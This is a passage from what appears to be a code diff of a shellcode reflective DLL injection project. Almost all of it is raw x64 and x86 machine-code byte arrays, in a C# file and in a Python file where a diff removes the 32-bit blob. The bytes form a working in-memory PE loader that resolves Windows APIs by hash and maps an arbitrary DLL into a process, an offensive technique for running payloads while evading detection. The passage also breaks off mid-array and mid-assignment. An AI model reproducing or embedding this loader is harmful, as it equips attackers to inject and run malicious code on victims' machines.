0x04,0x45,0x8B,0xC4,0x49,0x8B,0xD6,0x33,0xC9,0xFF,0x55,0xC8,0x48,0x8B,0xD8,0x44,0x8B,0xA5,0xD0,0x00,0x00,0x00,0x41,0xBB,0x01,0x00,0x00,0x00,0x45,0x84,0xE3,0x74,0x1D,0x8B,0x46,0x3C,0x89,0x43,0x3C,0x8B,0x56,0x3C,0xEB,0x0B,0x8B,0xCA,0x41,0x03,0xD3,0x8A,0x04,0x31,0x88,0x04,0x19,0x3B,0x57,0x54,0x72,0xF0,0xEB,0x19,0x41,0x8B,0xD7,0x44,0x39,0x7F,0x54,0x76,0x10,0x8B,0xCA,0x41,0x03,0xD3,0x8A,0x04,0x31,0x88,0x04,0x19,0x3B,0x57,0x54,0x72,0xF0,0x48,0x63,0x7B,0x3C,0x45,0x8B,0xD7,0x48,0x03,0xFB,0x48,0x89,0x7D,0x30,0x44,0x0F,0xB7,0x47,0x14,0x49,0x83,0xC0,0x28,0x66,0x44,0x3B,0x7F,0x06,0x73,0x3A,0x4C,0x03,0xC7,0x45,0x8B,0xCF,0x45,0x39,0x38,0x76,0x1F,0x41,0x8B,0x50,0x04,0x41,0x8B,0x48,0xFC,0x41,0x8B,0xC1,0x45,0x03,0xCB,0x48,0x03,0xC8,0x48,0x03,0xD0,0x8A,0x04,0x32,0x88,0x04,0x19,0x45,0x3B,0x08,0x72,0xE1,0x0F,0xB7,0x47,0x06,0x45,0x03,0xD3,0x49,0x83,0xC0,0x28,0x44,0x3B,0xD0,0x72,0xC9,0x4C,0x8B,0xF3,0x41,0xB8,0x02,0x00,0x00,0x00,0x4C,0x2B,0x77,0x30,0x0F,0x84,0xD6,0x00,0x00,0x00,0x44,0x39,0xBF,0xB4,0x00,0x00,0x00,0x0F,0x84,0xC9,0x00,0x00,0x00,0x44,0x8B,0x8F,0xB0,0x00,0x00,0x00,0x4C,0x03,0xCB,0x45,0x39,0x39,0x0F,0x84,0xB6,0x00,0x00,0x00,0x4D,0x8D,0x51,0x08,0xE9,0x91,0x00,0x00,0x00,0x45,0x0F,0xB7,0x1A,0x41,0x0F,0xB7,0xCB,0x41,0x0F,0xB7,0xC3,0x66,0xC1,0xE9,0x0C,0x66,0x83,0xF9,0x0A,0x75,0x29,0x45,0x8B,0x01,0x41,0x81,0xE3,0xFF,0x0F,0x00,0x00,0x4B,0x8D,0x04,0x18,0x48,0x8B,0x14,0x18,0x4B,0x8D,0x04,0x18,0x41,0xBB,0x01,0x00,0x00,0x00,0x49,0x03,0xD6,0x48,0x89,0x14,0x18,0x45,0x8D,0x43,0x01,0xEB,0x4F,0x41,0xBB,0x01,0x00,0x00,0x00,0x66,0x83,0xF9,0x03,0x75,0x0E,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x41,0x8B,0xC6,0xEB,0x2E,0x66,0x41,0x3B,0xCB,0x75,0x15,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x49,0x8B,0xC6,0x48,0xC1,0xE8,0x10,0x0F,0xB7,0xC0,0xEB,0x13,0x66,0x41,0x3B,0xC8,0x75,0x14,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x41,0x0F,0xB7,0xC6,0x41,0x8B,0x11,0x48,0x01,0x04,0x0A,0x4D,0x03,0xD0,0x41,0x8B,0x41,0x04,0x49,0x03,0xC1,0x4C,0x3B,0xD0,0x0F,0x85,0x5F,0xFF,0xFF,0xFF,0x4D,0x8B,0xCA,0x45,0x39,0x3A,0x0F,0x85,0x4A,0xFF,0xFF,0xFF,0x44,0x39,0xBF,0x94,0x00,0x00,0x00,0x0F,0x84,0x82,0x01,0x00,0x00,0x8B,0x8F,0x90,0x00,0x00,0x00,0x45,0x8B,0xEF,0x4C,0x8D,0x04,0x19,0x49,0x8D,0x40,0x0C,0xEB,0x07,0x45,0x03,0xEB,0x48,0x8D,0x40,0x14,0x44,0x39,0x38,0x75,0xF4,0x41,0x8B,0xC4,0x83,0xE0,0x04,0x89,0x45,0xC0,0x8B,0xC1,0x0F,0x84,0x89,0x00,0x00,0x00,0x45,0x3B,0xEB,0x0F,0x86,0x80,0x00,0x00,0x00,0x41,0xC1,0xEC,0x10,0x45,0x8D,0x5D,0xFF,0x45,0x8B,0xD7,0x45,0x85,0xDB,0x74,0x74,0x4D,0x8B,0xC8,0x41,0xBE,0xFF,0x7F,0x00,0x00,0x41,0x0F,0x10,0x01,0x33,0xD2,0x41,0x8B,0xCD,0x41,0x2B,0xCA,0x69,0xF6,0xFD,0x43,0x03,0x00,0x41,0x8B,0xC6,0xF7,0xF1,0x33,0xD2,0x81,0xC6,0xC3,0x9E,0x26,0x00,0x8D,0x48,0x01,0x8B,0xC6,0xC1,0xE8,0x10,0x41,0x23,0xC6,0xF7,0xF1,0x41,0x03,0xC2,0x41,0xFF,0xC2,0x48,0x8D,0x0C,0x80,0x41,0x8B,0x54,0x88,0x10,0x41,0x0F,0x10,0x0C,0x88,0x41,0x0F,0x11,0x04,0x88,0x41,0x8B,0x41,0x10,0x41,0x89,0x44,0x88,0x10,0x41,0x0F,0x11,0x09,0x41,0x89,0x51,0x10,0x4D,0x8D,0x49,0x14,0x45,0x3B,0xD3,0x72,0xA1,0x8B,0x87,0x90,0x00,0x00,0x00,0xEB,0x04,0x44,0x8B,0x65,0xC0,0x8B,0xF0,0x48,0x03,0xF3,0x8B,0x46,0x0C,0x85,0xC0,0x0F,0x84,0xB1,0x00,0x00,0x00,0x8B,0x7D,0xC0,0x8B,0xC8,0x48,0x03,0xCB,0xFF,0x55,0xF8,0x48,0x89,0x44,0x24,0x38,0x4C,0x8B,0xD0,0x44,0x8B,0x36,0x44,0x8B,0x7E,0x10,0x4C,0x03,0xF3,0x4C,0x03,0xFB,0x49,0x8B,0x0E,0x48,0x85,0xC9,0x74,0x5F,0x48,0x85,0xC9,0x79,0x08,0x45,0x0F,0xB7,0x06,0x33,0xD2,0xEB,0x32,0x48,0x8D,0x53,0x02,0x33,0xC0,0x48,0x03,0xD1,0x38,0x02,0x74,0x0E,0x48,0x8B,0xCA,0x48,0xFF,0xC1,0x48,0xFF,0xC0,0x80,0x39,0x00,0x75,0xF5,0x48,0x89,0x54,0x24,0x30,0x45,0x33,0xC0,0x48,0x8D,0x54,0x24,0x28,0x66,0x89,0x44,0x24,0x28,0x66,0x89,0x44,0x24,0x2A,0x4D,0x8B,0xCF,0x49,0x8B,0xCA,0xFF,0x55,0xD0,0x49,0x83,0xC6,0x08,0x49,0x83,0xC7,0x08,0x49,0x8B,0x0E,0x48,0x85,0xC9,0x74,0x07,0x4C,0x8B,0x54,0x24,0x38,0xEB,0xA1,0x45,0x33,0xFF,0x85,0xFF,0x74,0x10,0x41,0x83,0xFD,0x01,0x76,0x0A,0x41,0x69,0xCC,0xE8,0x03,0x00,0x00,0xFF,0x55,0xF0,0x8B,0x46,0x20,0x48,0x83,0xC6,0x14,0x85,0xC0,0x0F,0x85,0x56,0xFF,0xFF,0xFF,0x48,0x8B,0x7D,0x30,0x4C,0x8B,0x6D,0xD0,0x44,0x39,0xBF,0xF4,0x00,0x00,0x00,0x0F,0x84,0xA9,0x00,0x00,0x00,0x44,0x8B,0xBF,0xF0,0x00,0x00,0x00,0x49,0x83,0xC7,0x04,0x4C,0x03,0xFB,0x45,0x33,0xE4,0x41,0x8B,0x07,0x85,0xC0,0x0F,0x84,0x8A,0x00,0x00,0x00,0x8B,0xC8,0x48,0x03,0xCB,0xFF,0x55,0xF8,0x48,0x89,0x44,0x24,0x38,0x48,0x8B,0xC8,0x41,0x8B,0x77,0x08,0x45,0x8B,0x77,0x0C,0x48,0x03,0xF3,0x4C,0x03,0xF3,0x4C,0x39,0x26,0x74,0x5E,0x49,0x8B,0x16,0x48,0x85,0xD2,0x79,0x08,0x44,0x0F,0xB7,0xC2,0x33,0xD2,0xEB,0x34,0x4C,0x8D,0x43,0x02,0x49,0x8B,0xC4,0x4C,0x03,0xC2,0x45,0x38,0x20,0x74,0x0E,0x49,0x8B,0xD0,0x48,0xFF,0xC2,0x48,0xFF,0xC0,0x44,0x38,0x22,0x75,0xF5,0x4C,0x89,0x44,0x24,0x30,0x48,0x8D,0x54,0x24,0x28,0x45,0x33,0xC0,0x66,0x89,0x44,0x24,0x28,0x66,0x89,0x44,0x24,0x2A,0x4C,0x8B,0xCE,0x41,0xFF,0xD5,0x48,0x83,0xC6,0x08,0x49,0x83,0xC6,0x08,0x4C,0x39,0x26,0x74,0x07,0x48,0x8B,0x4C,0x24,0x38,0xEB,0xA2,0x49,0x83,0xC7,0x20,0xE9,0x6B,0xFF,0xFF,0xFF,0x45,0x33,0xFF,0x0F,0xB7,0x77,0x14,0x45,0x8B,0xF7,0x48,0x83,0xC6,0x28,0x41,0xBC,0x01,0x00,0x00,0x00,0x66,0x44,0x3B,0x7F,0x06,0x0F,0x83,0x0B,0x01,0x00,0x00,0x48,0x03,0xF7,0x44,0x39,0x3E,0x0F,0x84,0xEB,0x00,0x00,0x00,0x8B,0x46,0x14,0x8B,0xC8,0x81,0xE1,0x00,0x00,0x00,0x20,0x75,0x17,0x0F,0xBA,0xE0,0x1E,0x72,0x11,0x85,0xC0,0x78,0x0D,0x45,0x8B,0xC4,0x44,0x89,0x64,0x24,0x20,0xE9,0xA4,0x00,0x00,0x00,0x85,0xC9,0x75,0x3C,0x0F,0xBA,0xE0,0x1E,0x72,0x0A,0x85,0xC0,0x79,0x06,0x44,0x8D,0x41,0x08,0xEB,0x68,0x85,0xC9,0x75,0x28,0x0F,0xBA,0xE0,0x1E,0x73,0x0A,0x85,0xC0,0x78,0x06,0x44,0x8D,0x41,0x02,0xEB,0x54,0x85,0xC9,0x75,0x14,0x0F,0xBA,0xE0,0x1E,0x73,0x0A,0x85,0xC0,0x79,0x06,0x44,0x8D,0x41,0x04,0xEB,0x40,0x85,0xC9,0x74,0x5F,0x0F,0xBA,0xE0,0x1E,0x72,0x0C,0x85,0xC0,0x78,0x08,0x41,0xB8,0x10,0x00,0x00,0x00,0xEB,0x2A,0x85,0xC9,0x74,0x49,0x0F,0xBA,0xE0,0x1E,0x72,0x0C,0x85,0xC0,0x79,0x08,0x41,0xB8,0x80,0x00,0x00,0x00,0xEB,0x14,0x85,0xC9,0x74,0x33,0x0F,0xBA,0xE0,0x1E,0x73,0x11,0x85,0xC0,0x78,0x0D,0x41,0xB8,0x20,0x00,0x00,0x00,0x44,0x89,0x44,0x24,0x20,0xEB,0x21,0x85,0xC9,0x74,0x18,0x0F,0xBA,0xE0,0x1E,0x73,0x12,0x44,0x8B,0x44,0x24,0x20,0x85,0xC0,0xB9,0x40,0x00,0x00,0x00,0x44,0x0F,0x48,0xC1,0xEB,0xDD,0x44,0x8B,0x44,0x24,0x20,0xF7,0x46,0x14,0x00,0x00,0x00,0x04,0x74,0x0A,0x41,0x0F,0xBA,0xE8,0x09,0x44,0x89,0x44,0x24,0x20,0x8B,0x4E,0xFC,0x4C,0x8D,0x4C,0x24,0x20,0x8B,0x16,0x48,0x03,0xCB,0xFF,0x55,0x00,0x0F,0xB7,0x47,0x06,0x45,0x03,0xF4,0x48,0x83,0xC6,0x28,0x44,0x3B,0xF0,0x0F,0x82,0xF8,0xFE,0xFF,0xFF,0x45,0x33,0xC0,0x33,0xD2,0x48,0x83,0xC9,0xFF,0xFF,0x55,0x08,0x44,0x39,0xBF,0xD4,0x00,0x00,0x00,0x74,0x24,0x8B,0x87,0xD0,0x00,0x00,0x00,0x48,0x8B,0x74,0x18,0x18,0xEB,0x0F,0x45,0x33,0xC0,0x41,0x8B,0xD4,0x48,0x8B,0xCB,0xFF,0xD0,0x48,0x8D,0x76,0x08,0x48,0x8B,0x06,0x48,0x85,0xC0,0x75,0xE9,0x4C,0x8B,0x4D,0x18,0x4D,0x85,0xC9,0x74,0x2F,0x8B,0x87,0xA4,0x00,0x00,0x00,0x85,0xC0,0x74,0x25,0x8B,0xC8,0x4C,0x8B,0xC3,0x48,0xB8,0xAB,0xAA,0xAA,0xAA,0xAA,0xAA,0xAA,0xAA,0x48,0xF7,0xE1,0x8B,0x8F,0xA0,0x00,0x00,0x00,0x48,0xC1,0xEA,0x03,0x48,0x03,0xCB,0x41,0x2B,0xD4,0x41,0xFF,0xD1,0x8B,0x47,0x28,0x4D,0x8B,0xC4,0x48,0x03,0xC3,0x41,0x8B,0xD4,0x48,0x8B,0xCB,0xFF,0xD0,0x8B,0xB5,0xB8,0x00,0x00,0x00,0x85,0xF6,0x0F,0x84,0x97,0x00,0x00,0x00,0x44,0x39,0xBF,0x8C,0x00,0x00,0x00,0x0F,0x84,0x8A,0x00,0x00,0x00,0x8B,0x8F,0x88,0x00,0x00,0x00,0x48,0x03,0xCB,0x44,0x8B,0x59,0x18,0x45,0x85,0xDB,0x74,0x78,0x44,0x39,0x79,0x14,0x74,0x72,0x44,0x8B,0x49,0x20,0x41,0x8B,0xFF,0x8B,0x51,0x24,0x4C,0x03,0xCB,0x48,0x03,0xD3,0x45,0x85,0xDB,0x74,0x5D,0x45,0x8B,0x01,0x45,0x8B,0xD7,0x4C,0x03,0xC3,0x74,0x52,0xEB,0x0D,0x0F,0xBE,0xC0,0x44,0x03,0xD0,0x41,0xC1,0xCA,0x0D,0x4D,0x03,0xC4,0x41,0x8A,0x00,0x84,0xC0,0x75,0xEC,0x41,0x3B,0xF2,0x75,0x05,0x48,0x85,0xD2,0x75,0x12,0x41,0x03,0xFC,0x49,0x83,0xC1,0x04,0x48,0x83,0xC2,0x02,0x41,0x3B,0xFB,0x73,0x22,0xEB,0xC3,0x8B,0x41,0x1C,0x0F,0xB7,0x0A,0x48,0x03,0xC3,0x8B,0x95,0xC8,0x00,0x00,0x00,0x44,0x8B,0x04,0x88,0x48,0x8B,0x8D,0xC0,0x00,0x00,0x00,0x4C,0x03,0xC3,0x41,0xFF,0xD0,0x48,0x8B,0xC3,0xEB,0x02,0x33,0xC0,0x48,0x8B,0x9C,0x24,0xB0,0x01,0x00,0x00,0x48,0x81,0xC4,0x70,0x01,0x00,0x00,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x5F,0x5E,0x5D,0xC3,0xCC,0x48,0x8B,0xC4,0x48,0x89,0x58,0x08,0x48,0x89,0x68,0x10,0x48,0x89,0x70,0x18,0x48,0x89,0x78,0x20,0x41,0x56,0x48,0x83,0xEC,0x10,0x65,0x48,0x8B,0x04,0x25,0x60,0x00,0x00,0x00,0x8B,0xE9,0x45,0x33,0xF6,0x48,0x8B,0x50,0x18,0x4C,0x8B,0x4A,0x10,0x4D,0x8B,0x41,0x30,0x4D,0x85,0xC0,0x0F,0x84,0xB3,0x00,0x00,0x00,0x41,0x0F,0x10,0x41,0x58,0x49,0x63,0x40,0x3C,0x41,0x8B,0xD6,0x4D,0x8B,0x09,0xF3,0x0F,0x7F,0x04,0x24,0x46,0x8B,0x9C,0x00,0x88,0x00,0x00,0x00,0x45,0x85,0xDB,0x74,0xD2,0x48,0x8B,0x04,0x24,0x48,0xC1,0xE8,0x10,0x66,0x44,0x3B,0xF0,0x73,0x22,0x48,0x8B,0x4C,0x24,0x08,0x44,0x0F,0xB7,0xD0,0x0F,0xBE,0x01,0xC1,0xCA,0x0D,0x80,0x39,0x61,0x7C,0x03,0x83,0xC2,0xE0,0x03,0xD0,0x48,0xFF,0xC1,0x49,0x83,0xEA,0x01,0x75,0xE7,0x4F,0x8D,0x14,0x18,0x45,0x8B,0xDE,0x41,0x8B,0x7A,0x20,0x49,0x03,0xF8,0x45,0x39,0x72,0x18,0x76,0x8E,0x8B,0x37,0x41,0x8B,0xDE,0x49,0x03,0xF0,0x48,0x8D,0x7F,0x04,0x0F,0xBE,0x0E,0x48,0xFF,0xC6,0xC1,0xCB,0x0D,0x03,0xD9,0x84,0xC9,0x75,0xF1,0x8D,0x04,0x13,0x3B,0xC5,0x74,0x0E,0x41,0xFF,0xC3,0x45,0x3B,0x5A,0x18,0x72,0xD5,0xE9,0x5E,0xFF,0xFF,0xFF,0x41,0x8B,0x42,0x24,0x43,0x8D,0x0C,0x1B,0x49,0x03,0xC0,0x0F,0xB7,0x14,0x01,0x41,0x8B,0x4A,0x1C,0x49,0x03,0xC8,0x8B,0x04,0x91,0x49,0x03,0xC0,0xEB,0x02,0x33,0xC0,0x48,0x8B,0x5C,0x24,0x20,0x48,0x8B,0x6C,0x24,0x28,0x48,0x8B,0x74,0x24,0x30,0x48,0x8B,0x7C,0x24,0x38,0x48,0x83,0xC4,0x10,0x41,0x5E,0xC3 }; //MARKER:E var newShellcode = new List(); diff --git a/Python/ShellcodeRDI.py b/Python/ShellcodeRDI.py index bc860f5..2223ed5 100644 --- a/Python/ShellcodeRDI.py +++ b/Python/ShellcodeRDI.py @@ -56,8 +56,8 @@ def HashFunctionName(name, module = None): def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0): #MARKER:S - rdiShellcode32 = b'\x83\xEC\x6C\x53\x55\x56\x57\xB9\x4C\x77\x26\x07\xE8\x6E\x06\x00\x00\x8B\xF8\xB9\x49\xF7\x02\x78\x89\x7C\x24\x28\xE8\x5E\x06\x00\x00\x8B\xF0\xB9\x58\xA4\x53\xE5\x89\x74\x24\x2C\xE8\x4E\x06\x00\x00\x8B\xD8\xB9\x10\xE1\x8A\xC3\x89\x5C\x24\x20\xE8\x3E\x06\x00\x00\xB9\xAF\xB1\x5C\x94\x89\x44\x24\x30\xE8\x30\x06\x00\x00\xB9\x33\x00\x9E\x95\x89\x44\x24\x34\xE8\x22\x06\x00\x00\xB9\x44\xF0\x35\xE0\x8B\xE8\xE8\x16\x06\x00\x00\x89\x44\x24\x40\x85\xFF\x0F\x84\x00\x06\x00\x00\x85\xF6\x0F\x84\xF8\x05\x00\x00\x85\xDB\x0F\x84\xF0\x05\x00\x00\x83\x7C\x24\x30\x00\x0F\x84\xE5\x05\x00\x00\x83\x7C\x24\x34\x00\x0F\x84\xDA\x05\x00\x00\x85\xED\x0F\x84\xD2\x05\x00\x00\x85\xC0\x0F\x84\xCA\x05\x00\x00\x8B\x84\x24\x80\x00\x00\x00\x8B\x70\x3C\x03\xF0\x81\x3E\x50\x45\x00\x00\x0F\x85\xB2\x05\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\xA3\x05\x00\x00\xF6\x46\x38\x01\x0F\x85\x99\x05\x00\x00\x0F\xB7\x56\x06\x33\xFF\x0F\xB7\x46\x14\x85\xD2\x74\x22\x8D\x4E\x24\x03\xC8\x83\x79\x04\x00\x8B\x01\x75\x05\x03\x46\x38\xEB\x03\x03\x41\x04\x3B\xC7\x0F\x47\xF8\x83\xC1\x28\x83\xEA\x01\x75\xE3\x8D\x44\x24\x58\x50\xFF\xD5\x8B\x4C\x24\x5C\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC7\x23\xEA\x23\xC2\x3B\xE8\x0F\x85\x42\x05\x00\x00\x6A\x04\xBF\x00\x30\x00\x00\x57\x55\xFF\x76\x34\xFF\xD3\x8B\xD8\x89\x5C\x24\x24\x85\xDB\x75\x0F\x6A\x04\x57\x55\x50\xFF\x54\x24\x30\x8B\xD8\x89\x44\x24\x24\xF6\x84\x24\x90\x00\x00\x00\x01\x74\x28\x8B\x94\x24\x80\x00\x00\x00\x8B\x42\x3C\x89\x43\x3C\x8B\x4A\x3C\x3B\x4E\x54\x73\x31\x8D\x3C\x0B\x2B\xD3\x8A\x04\x3A\x41\x88\x07\x47\x3B\x4E\x54\x72\xF4\xEB\x1E\x33\xFF\x39\x7E\x54\x76\x17\x8B\x94\x24\x80\x00\x00\x00\x8B\xCB\x2B\xD3\x8A\x04\x11\x47\x88\x01\x41\x3B\x7E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24\x1C\x33\xD2\x89\x6C\x24\x14\x0F\xB7\x45\x14\x66\x3B\x55\x06\x73\x40\x8D\x75\x28\x03\xF0\x33\xFF\x39\x3E\x76\x25\x8B\xAC\x24\x80\x00\x00\x00\x8B\x46\x04\x8D\x14\x3B\x8B\x4E\xFC\x03\xC7\x47\x8A\x04\x28\x88\x04\x0A\x3B\x3E\x72\xEA\x8B\x6C\x24\x14\x8B\x4C\x24\x1C\x0F\xB7\x45\x06\x41\x83\xC6\x28\x89\x4C\x24\x1C\x3B\xC8\x72\xC5\x6A\x01\x8B\xFB\x5E\x89\x74\x24\x20\x2B\x7D\x34\x74\x7B\x83\xBD\xA4\x00\x00\x00\x00\x74\x72\x8B\x95\xA0\x00\x00\x00\x03\xD3\x83\x3A\x00\x74\x65\x6A\x02\x5D\x8D\x72\x08\xEB\x46\x0F\xB7\x0E\x66\x8B\xC1\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x74\x06\x66\x83\xF8\x03\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0A\x01\x3C\x19\xEB\x21\x66\x3B\x44\x24\x20\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x08\x66\x3B\xC5\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF\x0F\x00\x00\x03\x0A\x01\x04\x19\x03\xF5\x8B\x42\x04\x03\xC2\x3B\xF0\x75\xB1\x83\x3E\x00\x8B\xD6\x75\xA5\x8B\x6C\x24\x14\x33\xF6\x46\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\x97\x01\x00\x00\x8B\x85\x80\x00\x00\x00\x8D\x0C\x18\x83\xC0\x0C\x03\xC3\x89\x4C\x24\x1C\x33\xC9\x89\x4C\x24\x18\x39\x08\x74\x0D\x8D\x40\x14\x41\x83\x38\x00\x75\xF7\x89\x4C\x24\x18\x8B\x94\x24\x90\x00\x00\x00\x8B\xC2\x83\xE0\x04\x89\x44\x24\x3C\x0F\x84\xAE\x00\x00\x00\x3B\xCE\x0F\x86\xA6\x00\x00\x00\xC1\xEA\x10\x8D\x41\xFF\x89\x94\x24\x90\x00\x00\x00\x33\xD2\x89\x44\x24\x38\x89\x54\x24\x20\x85\xC0\x0F\x84\x92\x00\x00\x00\x8B\x5C\x24\x1C\x8B\xAC\x24\x80\x00\x00\x00\x89\x5C\x24\x1C\x2B\xCA\x69\xED\xFD\x43\x03\x00\x33\xD2\x8D\x7C\x24\x44\xB8\xFF\x7F\x00\x00\xF7\xF1\x81\xC5\xC3\x9E\x26\x00\x33\xD2\x6A\x05\x8D\x48\x01\x8B\xC5\xC1\xE8\x10\x25\xFF\x7F\x00\x00\xF7\xF1\x8B\x54\x24\x24\x03\xC2\x6B\xC0\x14\x59\x6A\x05\x03\xC3\x42\x8B\xF0\x89\x54\x24\x24\xF3\xA5\x8B\x74\x24\x20\x8B\xF8\x8B\x44\x24\x20\x59\xF3\xA5\x6A\x05\x8B\xF8\x8D\x74\x24\x48\x59\x83\xC0\x14\xF3\xA5\x8B\x4C\x24\x18\x89\x44\x24\x1C\x3B\x54\x24\x38\x72\x92\x8B\x5C\x24\x24\x8B\x6C\x24\x14\xEB\x0B\x8B\x44\x24\x40\x89\x84\x24\x90\x00\x00\x00\x8B\xB5\x80\x00\x00\x00\x03\xF3\x89\x74\x24\x20\x8B\x46\x0C\x85\xC0\x0F\x84\x88\x00\x00\x00\x8B\x6C\x24\x18\x03\xC3\x50\xFF\x54\x24\x2C\x8B\x7E\x10\x89\x44\x24\x38\x03\xFB\x8B\x06\x03\xC3\x89\x44\x24\x24\x8B\x08\x85\xC9\x74\x36\x8B\x6C\x24\x38\x8B\x74\x24\x2C\x79\x05\x0F\xB7\xC1\xEB\x05\x8D\x41\x02\x03\xC3\x50\x55\xFF\xD6\x89\x07\x83\xC7\x04\x8B\x44\x24\x24\x83\xC0\x04\x89\x44\x24\x24\x8B\x08\x85\xC9\x75\xDA\x8B\x74\x24\x20\x8B\x6C\x24\x18\x83\x7C\x24\x3C\x00\x74\x17\x33\xC0\x40\x3B\xE8\x76\x10\x69\x84\x24\x90\x00\x00\x00\xE8\x03\x00\x00\x50\xFF\x54\x24\x44\x8B\x46\x20\x83\xC6\x14\x89\x74\x24\x20\x85\xC0\x75\x80\x8B\x6C\x24\x14\x83\xBD\xE4\x00\x00\x00\x00\x74\x73\x8B\xBD\xE0\x00\x00\x00\x83\xC7\x04\x03\xFB\x89\x7C\x24\x20\x83\x3F\x00\x74\x5F\x8B\x07\x03\xC3\x50\xFF\x54\x24\x2C\x8B\x77\x08\x8B\xE8\x8B\x47\x0C\x03\xF3\x03\xC3\x89\x44\x24\x24\x83\x3E\x00\x74\x31\x8B\x7C\x24\x2C\x8B\x00\x85\xC0\x79\x05\x0F\xB7\xC0\xEB\x05\x83\xC0\x02\x03\xC3\x50\x55\xFF\xD7\x89\x06\x83\xC6\x04\x8B\x44\x24\x24\x83\xC0\x04\x89\x44\x24\x24\x83\x3E\x00\x75\xD7\x8B\x7C\x24\x20\x83\xC7\x20\x89\x7C\x24\x20\x83\x3F\x00\x75\xA5\x8B\x6C\x24\x14\x0F\xB7\x45\x14\x33\xC9\x33\xFF\x66\x3B\x4D\x06\x0F\x83\xB0\x00\x00\x00\x8D\x75\x3C\x03\xF0\x83\x7E\xEC\x00\x0F\x84\x91\x00\x00\x00\x8B\x0E\x33\xD2\x42\x8B\xC1\xC1\xE8\x1D\x23\xC2\x8B\xD1\xC1\xEA\x1E\x83\xE2\x01\xC1\xE9\x1F\x85\xC0\x75\x18\x85\xD2\x75\x0D\x6A\x08\x58\x6A\x01\x85\xC9\x59\x0F\x44\xC1\xEB\x3D\x6A\x04\x58\x6A\x02\xEB\xF1\x85\xD2\x75\x1E\x85\xC9\x75\x05\x6A\x10\x58\xEB\x29\x85\xD2\x75\x11\x85\xC9\x74\x07\xB8\x80\x00\x00\x00\xEB\x1A\x8B\x44\x24\x10\xEB\x18\x85\xC9\x75\x04\x6A\x20\xEB\xE0\x8B\x44\x24\x10\x85\xC9\x6A\x40\x5A\x0F\x45\xC2\x89\x44\x24\x10\xF7\x06\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89\x44\x24\x10\x8D\x4C\x24\x10\x51\x50\x8B\x46\xE8\xFF\x76\xEC\x03\xC3\x50\xFF\x54\x24\x40\x0F\xB7\x45\x06\x47\x83\xC6\x28\x3B\xF8\x0F\x82\x55\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x54\x24\x40\x83\xBD\xC4\x00\x00\x00\x00\x74\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x14\x33\xC0\x40\x50\x50\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x84\x00\x00\x00\x00\x0F\x84\xAD\x00\x00\x00\x83\x7D\x7C\x00\x0F\x84\xA3\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84\x93\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x89\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB\x83\x64\x24\x34\x00\x03\xCB\x85\xED\x74\x76\x8B\x37\xC7\x44\x24\x1C\x00\x00\x00\x00\x03\xF3\x74\x68\x8A\x06\x84\xC0\x74\x1C\x8B\x6C\x24\x1C\x0F\xBE\xC0\x03\xC5\xC1\xC8\x0D\x46\x8B\xE8\x8A\x06\x84\xC0\x75\xEF\x89\x6C\x24\x1C\x8B\x6A\x18\x8B\x84\x24\x84\x00\x00\x00\x3B\x44\x24\x1C\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x34\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24\x34\x3B\xC5\x72\xAC\xEB\x20\x0F\xB7\x09\x8B\x42\x1C\xFF\xB4\x24\x8C\x00\x00\x00\xFF\xB4\x24\x8C\x00\x00\x00\x8D\x04\x88\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x6C\xC3\x83\xEC\x10\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x18\x8B\x70\x0C\xE9\x8A\x00\x00\x00\x8B\x46\x30\x33\xC9\x8B\x5E\x2C\x8B\x36\x89\x44\x24\x14\x8B\x42\x3C\x8B\x6C\x10\x78\x89\x6C\x24\x10\x85\xED\x74\x6D\xC1\xEB\x10\x33\xFF\x85\xDB\x74\x1F\x8B\x6C\x24\x14\x8A\x04\x2F\xC1\xC9\x0D\x3C\x61\x0F\xBE\xC0\x7C\x03\x83\xC1\xE0\x03\xC8\x47\x3B\xFB\x72\xE9\x8B\x6C\x24\x10\x8B\x44\x2A\x20\x33\xDB\x8B\x7C\x2A\x18\x03\xC2\x89\x7C\x24\x14\x85\xFF\x74\x31\x8B\x28\x33\xFF\x03\xEA\x83\xC0\x04\x89\x44\x24\x1C\x0F\xBE\x45\x00\xC1\xCF\x0D\x03\xF8\x45\x80\x7D\xFF\x00\x75\xF0\x8D\x04\x0F\x3B\x44\x24\x18\x74\x20\x8B\x44\x24\x1C\x43\x3B\x5C\x24\x14\x72\xCF\x8B\x56\x18\x85\xD2\x0F\x85\x6B\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x10\xC3\x8B\x74\x24\x10\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB' - rdiShellcode64 = 